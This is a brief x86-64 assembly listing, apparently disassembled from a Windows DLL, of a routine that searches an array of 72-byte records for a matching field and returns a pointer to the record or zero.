cmp dword [rcx], eax
je 0x18001aeee
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x18001aed4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret